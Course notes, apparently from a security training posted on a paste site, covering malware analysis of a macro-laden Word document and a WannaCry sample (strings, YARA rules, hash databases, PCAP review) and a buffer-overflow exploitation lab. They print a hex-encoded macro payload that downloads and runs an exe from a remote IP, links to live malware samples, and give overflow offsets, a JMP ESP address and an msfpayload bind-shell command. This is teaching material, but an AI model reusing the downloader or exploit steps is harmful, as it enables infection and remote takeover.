  9040.  
  9041.  
  9042.  
  9043.  
  9044.  
  9045.  
  9046.  
  9047.                            #######################################
  9048. ----------- ############### # Day 4: Malware analysis with Python # ############### -----------
  9049.                            #######################################
  9050.  
  9051.  
  9052. ###############################
  9053. # Lesson 28: Malware Analysis #
  9054. ###############################
  9055.  
  9056.  
  9057.  
  9058.  
  9059. ################
  9060. # The Scenario #
  9061. ################
  9062. You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
  9063.  
  9064.  
  9065. The fastest thing you can do is perform static analysis.
  9066. ---------------------------Type This-----------------------------------
  9067.  
  9068. sudo pip install olefile
  9069.     infosecaddicts
  9070.  
  9071. mkdir ~/Desktop/oledump
  9072.  
  9073. cd ~/Desktop/oledump
  9074.  
  9075. wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
  9076.  
  9077. unzip oledump_V0_0_22.zip
  9078.  
  9079. wget http://45.63.104.73/064016.zip
  9080.  
  9081. unzip 064016.zip
  9082.     infected
  9083.  
  9084. python oledump.py 064016.doc
  9085.  
  9086. python oledump.py 064016.doc -s A4 -v
  9087. -----------------------------------------------------------------------
  9088.  
  9089. - From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
  9090. - Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
  9091.  
  9092. ---------------------------Type This-----------------------------------
  9093.  
  9094. python oledump.py 064016.doc -s A5 -v
  9095. -----------------------------------------------------------------------
  9096.  
  9097. - As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
  9098.  
  9099. ---------------------------Type This-----------------------------------
  9100.  
  9101. python oledump.py 064016.doc -s A3 -v
  9102. -----------------------------------------------------------------------
  9103.  
  9104. - Look for "GVhkjbjv" and you should see:
  9105.  
  9106. 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
  9107.  
  9108. - Take that long blob that starts with 636D and finishes with 653B and paste it in:
  9109. http://www.rapidtables.com/convert/number/hex-to-ascii.htm
  9110.  
  9111.  
  9112.  
  9113. ###################
  9114. # Static Analysis #
  9115. ###################
  9116.  
  9117. - After logging please open a terminal window and type the following commands:
  9118. ---------------------------Type This-----------------------------------
  9119.  
  9120. cd Desktop/
  9121.  
  9122. wget http://45.63.104.73/wannacry.zip
  9123.  
  9124. unzip wannacry.zip
  9125.     infected
  9126.  
  9127. file wannacry.exe
  9128.  
  9129. mv wannacry.exe malware.pdf
  9130.  
  9131. file malware.pdf
  9132.  
  9133. mv malware.pdf wannacry.exe
  9134.  
  9135. hexdump -n 2 -C wannacry.exe
  9136.  
  9137. -----------------------------------------------------------------------
  9138.  
  9139.  
  9140.  
  9141. ***What is '4d 5a' or 'MZ'***
  9142. Reference:
  9143. http://www.garykessler.net/library/file_sigs.html
  9144.  
  9145.  
  9146.  
  9147. ---------------------------Type This-----------------------------------
  9148.  
  9149.  
  9150. objdump -x wannacry.exe
  9151.  
  9152. strings wannacry.exe
  9153.  
  9154. strings --all wannacry.exe | head -n 6
  9155.  
  9156. strings wannacry.exe | grep -i dll
  9157.  
  9158. strings wannacry.exe | grep -i library
  9159.  
  9160. strings wannacry.exe | grep -i reg
  9161.  
  9162. strings wannacry.exe | grep -i key
  9163.  
  9164. strings wannacry.exe | grep -i rsa
  9165.  
  9166. strings wannacry.exe | grep -i open
  9167.  
  9168. strings wannacry.exe | grep -i get
  9169.  
  9170. strings wannacry.exe | grep -i mutex
  9171.  
  9172. strings wannacry.exe | grep -i irc
  9173.  
  9174. strings wannacry.exe | grep -i join        
  9175.  
  9176. strings wannacry.exe | grep -i admin
  9177.  
  9178. strings wannacry.exe | grep -i list
  9179.  
  9180.  
  9181.  
  9182. -----------------------------------------------------------------------
  9183.  
  9184.  
  9185.  
  9186.  
  9187.  
  9188.  
  9189.  
  9190.  
  9191. Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
  9192.  
  9193. Quick Google search for "wannacry ransomeware analysis"
  9194.  
  9195.  
  9196. Reference
  9197. https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
  9198.  
  9199. - Yara Rule -
  9200.  
  9201.  
  9202. Strings:
  9203. $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
  9204. $s2 = “Wanna Decryptor” wide ascii nocase
  9205. $s3 = “.wcry” wide ascii nocase
  9206. $s4 = “WANNACRY” wide ascii nocase
  9207. $s5 = “WANACRY!” wide ascii nocase
  9208. $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
  9209.  
  9210.  
  9211.  
  9212.  
  9213.  
  9214.  
  9215.  
  9216.  
  9217. Ok, let's look for the individual strings
  9218.  
  9219. ---------------------------Type This-----------------------------------
  9220.  
  9221.  
  9222. strings wannacry.exe | grep -i ooops
  9223.  
  9224. strings wannacry.exe | grep -i wanna
  9225.  
  9226. strings wannacry.exe | grep -i wcry
  9227.  
  9228. strings wannacry.exe | grep -i wannacry
  9229.  
  9230. strings wannacry.exe | grep -i wanacry          **** Matches $s5, hmmm.....
  9231.  
  9232.  
  9233. -----------------------------------------------------------------------
  9234.  
  9235.  
  9236.  
  9237.  
  9238.  
  9239. ####################################
  9240. # Tired of GREP - let's try Python #
  9241. ####################################
  9242. Decided to make my own script for this kind of stuff in the future. I
  9243.  
  9244. Reference1:
  9245. http://45.63.104.73/analyse_malware.py
  9246.  
  9247. This is a really good script for the basics of static analysis
  9248.  
  9249. Reference:
  9250. https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
  9251.  
  9252.  
  9253. This is really good for showing some good signatures to add to the Python script
  9254.  
  9255.  
  9256. Here is my own script using the signatures (started this yesterday, but still needs work):
  9257. https://pastebin.com/guxzCBmP
  9258.  
  9259.  
  9260. ---------------------------Type This-----------------------------------
  9261.  
  9262.  
  9263. sudo apt install -y python-pefile
  9264.     infosecaddicts
  9265.  
  9266.  
  9267.  
  9268. wget https://pastebin.com/raw/guxzCBmP
  9269.  
  9270.  
  9271. mv guxzCBmP am.py
  9272.  
  9273.  
  9274. vi am.py
  9275.  
  9276. python am.py wannacry.exe
  9277.  
  9278.  
  9279. -----------------------------------------------------------------------
  9280.  
  9281.  
  9282.  
  9283.  
  9284.  
  9285.  
  9286.  
  9287.  
  9288. ##############
  9289. # Yara Ninja #
  9290. ##############
  9291. ---------------------------Type This-----------------------------------
  9292.  
  9293. cd ~/Desktop
  9294.  
  9295. sudo apt-get remove -y yara
  9296.     infosecaddcits
  9297.  
  9298. sudo apt -y install libtool
  9299.     infosecaddicts
  9300.  
  9301. wget https://github.com/VirusTotal/yara/archive/v3.6.0.zip
  9302.  
  9303.  
  9304. unzip v3.6.0.zip
  9305.  
  9306. cd yara-3.6.0
  9307.  
  9308. ./bootstrap.sh
  9309.  
  9310. ./configure
  9311.  
  9312. make
  9313.  
  9314. sudo make install
  9315.    infosecaddicts
  9316.  
  9317. yara -v
  9318.  
  9319. cd ~/Desktop
  9320.  
  9321.  
  9322. -----------------------------------------------------------------------
  9323.  
  9324.  
  9325. NOTE:
  9326. McAfee is giving these yara rules - so add them to the hashes.txt file
  9327.  
  9328. Reference:
  9329. https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
  9330.  
  9331. ----------------------------------------------------------------------------
  9332. rule wannacry_1 : ransom
  9333. {
  9334.    meta:
  9335.        author = "Joshua Cannell"
  9336.        description = "WannaCry Ransomware strings"
  9337.        weight = 100
  9338.        date = "2017-05-12"
  9339.  
  9340.    strings:
  9341.        $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
  9342.        $s2 = "Wanna Decryptor" wide ascii nocase
  9343.        $s3 = ".wcry" wide ascii nocase
  9344.        $s4 = "WANNACRY" wide ascii nocase
  9345.        $s5 = "WANACRY!" wide ascii nocase
  9346.        $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
  9347.  
  9348.    condition:
  9349.        any of them
  9350. }
  9351.  
  9352. ----------------------------------------------------------------------------
  9353. rule wannacry_2{
  9354.    meta:
  9355.        author = "Harold Ogden"
  9356.        description = "WannaCry Ransomware Strings"
  9357.        date = "2017-05-12"
  9358.        weight = 100
  9359.  
  9360.    strings:
  9361.        $string1 = "msg/m_bulgarian.wnry"
  9362.        $string2 = "msg/m_chinese (simplified).wnry"
  9363.        $string3 = "msg/m_chinese (traditional).wnry"
  9364.        $string4 = "msg/m_croatian.wnry"
  9365.        $string5 = "msg/m_czech.wnry"
  9366.        $string6 = "msg/m_danish.wnry"
  9367.        $string7 = "msg/m_dutch.wnry"
  9368.        $string8 = "msg/m_english.wnry"
  9369.        $string9 = "msg/m_filipino.wnry"
  9370.        $string10 = "msg/m_finnish.wnry"
  9371.        $string11 = "msg/m_french.wnry"
  9372.        $string12 = "msg/m_german.wnry"
  9373.        $string13 = "msg/m_greek.wnry"
  9374.        $string14 = "msg/m_indonesian.wnry"
  9375.        $string15 = "msg/m_italian.wnry"
  9376.        $string16 = "msg/m_japanese.wnry"
  9377.        $string17 = "msg/m_korean.wnry"
  9378.        $string18 = "msg/m_latvian.wnry"
  9379.        $string19 = "msg/m_norwegian.wnry"
  9380.        $string20 = "msg/m_polish.wnry"
  9381.        $string21 = "msg/m_portuguese.wnry"
  9382.        $string22 = "msg/m_romanian.wnry"
  9383.        $string23 = "msg/m_russian.wnry"
  9384.        $string24 = "msg/m_slovak.wnry"
  9385.        $string25 = "msg/m_spanish.wnry"
  9386.        $string26 = "msg/m_swedish.wnry"
  9387.        $string27 = "msg/m_turkish.wnry"
  9388.        $string28 = "msg/m_vietnamese.wnry"
  9389.  
  9390.  
  9391.    condition:
  9392.        any of ($string*)
  9393. }
  9394. ----------------------------------------------------------------------------
  9395.  
  9396.  
  9397. #######################
  9398. # External DB Lookups #
  9399. #######################
  9400.  
  9401. Creating a malware database (sqlite)
  9402. ---------------------------Type This-----------------------------------
  9403.  
  9404. sudo apt install -y python-simplejson python-simplejson-dbg
  9405.    infosecaddicts
  9406.  
  9407.  
  9408.  
  9409. wget https://raw.githubusercontent.com/mboman/mart/master/bin/avsubmit.py
  9410.  
  9411.  
  9412.  
  9413. python avsubmit.py -f wannacry.exe -e
  9414.  
  9415. ----------------------------------------------------------------------------
  9416.  
  9417. Analysis of the file can be found at:
  9418. http://www.threatexpert.com/report.aspx?md5=84c82835a5d21bbcf75a61706d8ab549
  9419.  
  9420.  
  9421.  
  9422.  
  9423.  
  9424.  
  9425.  
  9426.  
  9427.  
  9428. ###############################
  9429. # Creating a Malware Database #
  9430. ###############################
  9431. Creating a malware database (mysql)
  9432. -----------------------------------
  9433. - Step 1: Installing MySQL database
  9434. - Run the following command in the terminal:
  9435. ---------------------------Type This-----------------------------------
  9436.  
  9437. sudo apt install -y mysql-server
  9438.     infosecaddicts
  9439.    
  9440. - Step 2: Installing Python MySQLdb module
  9441. - Run the following command in the terminal:
  9442.  
  9443. sudo apt-get build-dep python-mysqldb
  9444.     infosecaddicts
  9445.  
  9446. sudo apt install -y python-mysqldb
  9447.     infosecaddicts
  9448.  
  9449. Step 3: Logging in
  9450. Run the following command in the terminal:
  9451.  
  9452. mysql -u root -p                    (set a password of 'malware')
  9453.  
  9454. - Then create one database by running following command:
  9455.  
  9456. create database malware;
  9457.  
  9458. exit;
  9459.  
  9460. wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
  9461.  
  9462. vi mal_to_db.py                     (fill in database connection information)
  9463.  
  9464. python mal_to_db.py -i
  9465.  
  9466. ------- check it to see if the files table was created ------
  9467.  
  9468. mysql -u root -p
  9469.    malware
  9470.  
  9471. show databases;
  9472.  
  9473. use malware;
  9474.  
  9475. show tables;
  9476.  
  9477. describe files;
  9478.  
  9479. exit;
  9480.  
  9481. -----------------------------------------------------------------------
  9482.  
  9483.  
  9484. - Now add the malicious file to the DB
  9485. ---------------------------Type This-----------------------------------
  9486.  
  9487.  
  9488. python mal_to_db.py -f wannacry.exe -u
  9489.  
  9490. -----------------------------------------------------------------------
  9491.  
  9492.  
  9493. - Now check to see if it is in the DB
  9494. --------------------------Type This-----------------------------------
  9495.  
  9496. mysql -u root -p
  9497.    malware
  9498.  
  9499. mysql> use malware;
  9500.  
  9501. select id,md5,sha1,sha256,time FROM files;
  9502.  
  9503. mysql> quit;
  9504.  
  9505. -----------------------------------------------------------------------
  9506.  
  9507.  
  9508.  
  9509. ######################################
  9510. # PCAP Analysis with forensicPCAP.py #
  9511. ######################################
  9512. ---------------------------Type This-----------------------------------
  9513.  
  9514. cd ~/Desktop
  9515. wget https://raw.githubusercontent.com/madpowah/ForensicPCAP/master/forensicPCAP.py
  9516. sudo easy_install cmd2
  9517.  
  9518. python forensicPCAP.py Browser\ Forensics/suspicious-time.pcap
  9519.  
  9520. ForPCAP >>> help
  9521.  
  9522.  
  9523. Prints stats about PCAP
  9524. ForPCAP >>> stat
  9525.  
  9526.  
  9527. Prints all DNS requests from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
  9528. ForPCAP >>> dns
  9529.  
  9530. ForPCAP >>> show
  9531.  
  9532.  
  9533. Prints all destination ports from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
  9534. ForPCAP >>> dstports
  9535.  
  9536. ForPCAP >>> show
  9537.  
  9538.  
  9539. Prints the number of ip source and store them.
  9540. ForPCAP >>> ipsrc
  9541.  
  9542.  
  9543. Prints the number of web's requests and store them
  9544. ForPCAP >>> web
  9545.  
  9546.  
  9547. Prints the number of mail's requests and store them
  9548. ForPCAP >>> mail
  9549.  
  9550. -----------------------------------------------------------------------
  9551.  
  9552.  
  9553.  
  9554.  
  9555.  
  9556.  
  9557. ##################################
  9558. # Day 4 Homework videos to watch #
  9559. ##################################
  9560. Here is your first set of youtube videos that I'd like for you to watch:
  9561. https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 31-40)
  9562.  
  9563.  
  9564.  
  9565.  
  9566.  
  9567.  
  9568.  
  9569.  
  9570.  
  9571.  
  9572.                            ##########################################
  9573. ----------- ############### # Day 4: Debugger automation with Python # ############### -----------
  9574.                            ##########################################
  9575.  
  9576. In this lab we are going to exploit the bufferoverflow in the program which is a simple tcp server using the strcpy in its code. Download the server's .exe file from here http://code.securitytube.net/Server-Strcpy.exe
  9577.  
  9578. Run the server on windows machine.
  9579.  
  9580. Connect to the server from an ubuntu machine using nc <ip-adress of windows> 10000. Send some character from there and see if it returns the same.
  9581.  
  9582.  
  9583.  
  9584. It's a simple echo server. Reflects whatever you type in the input we send to this program, is stored using strcpy.  Let us write a simple python program that sends a large input to the program and see if it can handle large inputs.
  9585. ---------------------------Type This-----------------------------------
  9586.  
  9587. vim strcpy.py
  9588.  
  9589. ./strcpy <server adress>
  9590.  
  9591. -----------------------------------------------------------------------
  9592.  
  9593.  
  9594. On the server machine see if the server crashes and what error it shows.
  9595.  
  9596. Now let's find out what happens behind the scenes when you run the python script against your echo server. When you do not have the source code of the program that you need to debug, the only way to do so is to take the binary, disassemble and debug it to actually see what is happening. The immunity debugger is the tool which does all that.
  9597.  
  9598. Open the server.exe file in immunity debugger. It will show information about the binary in different sections including Registers [EIP, ESP, EBP, etc], the machine language equivalent and addresses of the binary with their values.
  9599.  
  9600. Now press the run button and the binary will be in the “Running” state. Execute the strcpy.py script as done previously. The binary will crash again and immunity debugger will show it in “Paused” State. It will also show the stack with its values and ASCII equivalent which is seen as “AAAA...” as all the characters sent from the script are As, as shown in the figure below.
  9601.  
  9602.  
  9603. We can also write python scripts using the python shell provided by the Immunity Debugger. The scripts we write here need to be placed in “C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands” directory, which will be automatically made available to immunity debugger at run-time.
  9604.  
  9605.  
  9606. Now open the python shell, Create “New Window” and save it as spse-demo in the PyCommands directory mentioned above.
  9607.  
  9608.  
  9609.  
  9610. In order to leverage the rich set of APIs that Immunity provides, import the immlib which ships with the Immunity framework. At this instance write a simple script that simply prints hello in the main method. To run the script write the name of the script preceded by the exclamation mark e.g !spse-demo. You can also write to the Log window by:
  9611. imm.log(“Anything to log”)
  9612.  
  9613. Now the problem with the debugger is that it prints all the messages at the end of the script execution, which is quite hectic if you are writing a long script which requires incremental updates. To serve the purpose use imm.updateLog() method so that the Log is updated instantly.
  9614.  
  9615. Our command will also be visible in the List of PyCommands  which are available in the Immunity.
  9616.  
  9617.  
  9618. To run a process we need to open the process in Immunity Debugger and run it as shown earlier, what if we want to run the same process programmatically.
  9619.  
  9620. Create a new python script naming spse-pro.py similarly as in the previous example. Open the process by imm.openProcess(“path to the binary”) e.g my binary was C:\Server-Strcpy.exe
  9621.  
  9622.  
  9623. Similarly, you can attach the Immunity Debugger to an already running process by the imm.Attach(pid) method.
  9624.  
  9625. Now inside a running process we need to get a list of modules, and for each of these modules we need to get a set of properties like Name, Base Address, Entry Point, and Size of that process. Useful methods are getAllModules and its child methods which are elaborated in the Immunity's online documentation.
  9626.  
  9627.  
  9628.  
  9629.  
  9630. Now we will use the Immunity Debugger to actually exploit the buffer overflow.
  9631.  
  9632. As we know the stack grows from high-memory to low-memory. When we send a large buffer to our program/binary the return address is over-written, the EIP ends up with a garbage value and the program crashed. The idea is to specially craft the buffer in a way to over-write the return address with a chosen value, which is the payload we want to execute on that machine.
  9633.  
  9634. To start, we'll revisit our old python script and a metasploit utility patter_creat.rb to create a random pattern of 500 characters.
  9635.  
  9636.  
  9637.  
  9638. Place this pattern in the python attack script, run the server in the Immunity, run the attack script. See that the binary has crashed and the EIP is populated with the value 6A413969. Now we need to find at which offset this value is in our pattern, pattern_offset.rb will server the purpose.
  9639.  
  9640.  
  9641.  
  9642. From this we know the value from offset 268 precisely corrupts the EIP. Meaning we really don't care about the first 268 bytes of the buffer, what we need to focus is the return address.
  9643.  
  9644. Now next to EIP there is ESP register, we will populate the ESP with our payload and place a jump ESP instruction in the EIP register. The OPCode for the JUMP ESP instruction is 71AB7BFB, which we will append to our buffer in reverse order, as the bytes are stored in reverse order in stack. For payload we use metsploit to generate our payload and encode it for x86 architecture. Following command will suffice
  9645.  
  9646. ---------------------------Type This-----------------------------------
  9647.  
  9648. msfpayload windows/shell_bind_tcp R | msfencode -a x86 -b “\x90” -t c
  9649. -----------------------------------------------------------------------
  9650.  
  9651. This will generate a payload, append it to the buffer and run the script again.
Add Comment
Please, Sign In to add comment